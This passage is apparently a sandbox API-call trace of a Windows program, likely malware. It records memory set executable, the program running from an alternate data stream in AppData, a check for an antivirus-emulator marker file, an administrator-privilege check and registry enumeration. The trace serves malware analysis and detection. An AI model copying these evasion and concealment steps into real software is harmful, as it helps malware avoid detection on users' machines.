LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb58 | out: ProcedureAddress=0x18fb58*=0x76e21856) returned 0x0 [0039.801] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0039.801] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x76e249d7) returned 0x0 [0039.802] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x76e21222) returned 0x0 [0039.802] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x76e21856) returned 0x0 [0039.802] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x76e2435f) returned 0x0 [0039.802] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0039.802] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0039.802] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0039.802] VirtualProtect (in: lpAddress=0x400000, dwSize=0x27000, flNewProtect=0x40, lpflOldProtect=0x18fc08 | out: lpflOldProtect=0x18fc08*=0x2) returned 1 [0039.803] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x3c0000 [0039.829] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0039.830] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0039.830] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0039.830] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0040.580] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.589] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1ee0000 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x104) returned 0x1ee07d0 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee08e0 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0968 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee09f0 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0a78 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0b00 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0b88 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0c10 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0c98 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0d20 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0da8 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0e30 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0eb8 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0f40 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0fc8 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee1050 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee10d8 [0040.627] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x400) returned 0x1ee1160 [0040.628] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1d30000 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d307d0 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d30858 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d308e0 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x184) returned 0x1d30968 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30af8 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30b40 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30b88 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30bd0 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30c18 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30c60 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30ca8 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30cf0 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30d38 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30d80 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30dc8 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30e10 [0040.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30e58 [0040.629] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30ea0 [0040.629] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30ee8 [0040.629] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30f30 [0040.629] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\r9c0hs~1:bin")) returned 0x2e [0040.629] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d30f78 [0040.629] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x2c) returned 0x1d3b828 [0040.635] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0040.635] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0040.635] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0x90) returned 1 [0040.635] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0040.635] GetLastError () returned 0x7a [0040.635] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x140) returned 0x1d3b860 [0040.635] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x2, TokenInformation=0x1d3b860, TokenInformationLength=0x118, ReturnLength=0x18fbec | out: TokenInformation=0x1d3b860, ReturnLength=0x18fbec) returned 1 [0040.635] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x2314c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0040.635] EqualSid (pSid1=0x2314c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1d3b8c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0040.635] EqualSid (pSid1=0x2314c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1d3b8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0040.635] EqualSid (pSid1=0x2314c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1d3b8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0040.635] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b860) returned 1 [0040.635] NtClose (Handle=0x90) returned 0x0 [0040.635] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3b860 [0040.636] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3b8a8 [0040.637] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x280) returned 0x1d3b930 [0040.637] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0040.642] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1d3b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0040.642] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.642] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bc58 [0040.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1d3bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0040.643] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bca0 [0040.643] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bc58) returned 1 [0040.643] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bca0) returned 1 [0040.643] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.643] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1d3b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0040.643] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.643] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bca0 [0040.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1d3bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0040.643] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bc58 [0040.643] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bca0) returned 1 [0040.643] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bc58) returned 1 [0040.643] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.643] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1d3b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0040.644] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.644] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bc58 [0040.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1d3bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0040.644] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bca0 [0040.644] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bc58) returned 1 [0040.644] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bca0) returned 1 [0040.644] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.644] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1d3b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0040.644] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.644] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bca0 [0040.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1d3bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0040.644] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bc58 [0040.644] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bca0) returned 1 [0040.644] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bc58) returned 1 [0040.644] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.644] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1d3b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0040.644] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.644] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bc58 [0040.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1d3bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0040.644] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bca0 [0040.644] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bc58) returned 1 [0040.644] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bca0) returned 1 [0040.644] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.644] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x184) returned 0x1d3d040 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bca0 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bc58 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bce8 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bd30 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bd78 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bdc0 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3be08 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3be50 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3be98 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bee0 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bf28 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bf70 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3bfb8 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c000 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c048 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c090 [0040.645] RegCloseKey (hKey=0x80000002) returned 0x0 [0040.645] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0x1d3b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x1d3c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.645] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.645] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.645] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.645] RegEnumKeyW (in: hKey=0x90, dwIndex=0x1, lpName=0x1d3b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0040.645] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.646] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x1d3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0040.646] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.646] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.646] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.646] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.646] RegEnumKeyW (in: hKey=0x90, dwIndex=0x2, lpName=0x1d3b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0040.646] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.646] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x1d3c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0040.646] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.646] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.646] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.646] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.646] RegEnumKeyW (in: hKey=0x90, dwIndex=0x3, lpName=0x1d3b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0040.646] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.646] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x1d3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0040.646] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.646] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.646] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.646] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.646] RegEnumKeyW (in: hKey=0x90, dwIndex=0x4, lpName=0x1d3b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0040.646] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0040.646] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x1d3c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0040.646] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.646] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.647] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.647] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.647] RegEnumKeyW (in: hKey=0x90, dwIndex=0x5, lpName=0x1d3b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0040.647] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.647] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0040.647] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 